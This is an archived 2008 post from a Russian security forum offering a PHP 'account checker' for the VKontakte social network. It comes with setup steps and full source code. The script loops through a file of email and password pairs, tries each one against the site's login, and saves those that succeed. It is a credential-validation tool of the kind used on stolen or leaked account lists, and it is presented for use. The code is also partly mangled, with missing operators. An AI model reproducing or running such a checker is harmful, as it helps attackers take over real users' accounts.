HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 25.03.2008, 14:15
NNNS
Познающий
Регистрация: 26.05.2007
Сообщений: 63
Провел на форуме:
550386

Репутация: 86
Отправить сообщение для NNNS с помощью ICQ
По умолчанию

ВКонтакте АККчекер 0.1

Скрипт чекает аккаунты Вконтакте.ру на валидность.

Для работы требуется хост с поддержкой сокетов.
Залейте скрипт на хостинг.
Создайте файл "valid.txt" поставьте на него права на запись.
В файл "accounts.txt" вставьте список аккаунтов. "E-mail;Pass"
PHP код:
<?php
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|
#&-------------------------------
#&     ВКонтакте АККчекер    0.1
#&     VKontakte ACCchecker  0.1
#&     By NNNS::[icq: 474374] 
#&     All lefts reserved.
#&-------------------------------
#&-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|

# Отключаем ограничение на время выполнения скрипта
set_time_limit(0);
# User Agent
$user_agent "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.12"
# Файл с аккаунтами
$acclist "accounts.txt";
# Файл с валидными аккаунтами
$vallist "valid.txt";
# Помещаем аккаунты в массив
$account file($acclist);
# Рабочие аккаунты
$valid   0;
# Нерабочие аккаунты
$invalid 0;

function 
vkCheck($email,$pass) { 
    
# Открываем сокет
    
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10); 
    
# Отправляем заголовки
    
$out "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n"
    
$out .= "Host: vkontakte.ru\r\n"
    
$out .= "User-Agent: ".$user_agent."\r\n"
    
$out .= "Cookie: income=1\r\n"
    
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n"
    
fwrite($fp,$out); 
    
# Записываем ответ сервера в переменную
    
$ans=fgets($fp,128); 
    
# Закрываем сокет
    
fclose($fp); 
    
# Если 302 найден, значит акк валидный
    
if(preg_match("/\b302 Found\b/is"$ans)) {
        return 
true;
    } else {
        return 
false;
    }
}
# Запускаем цикл
for($i=0;$i<count($account);$i++) {
    
# Удаляем симолы перевода строки
    
$caccaunt          str_replace("\r\n","",$account[$i]);
    
# Разбиваем на e-mail и пароль
    
list($email,$pass) = explode(";",$caccaunt);
    
# Вызываем функцию проверки аккаунта
    
$answer            vkCheck($email,$pass);
    
# Если аккаунт рабочий, записываем его в файл
    
if ($answer == true) {
        
$fd fopen($vallist,"a+");
        
fputs($fd,$account[$i]);
        
fclose($fd);
        
$valid++;
    } else {
        
$invalid++;    
    }
}
# Выводим результат
echo "Рабочих аккаунтов: ".$valid."<br>Нерабочих аккаутов: ".$invalid;
?>
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Скрипты управления хостингом и тд... Nova PHP 4 12.12.2005 20:49
Какие скрипты баннерных сетей вы знаете? rsha1988 PHP 0 19.09.2005 19:05
Варез, скрипты и другое... ХАЛЯВА =) JamesBond Болталка 5 03.03.2005 02:00



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ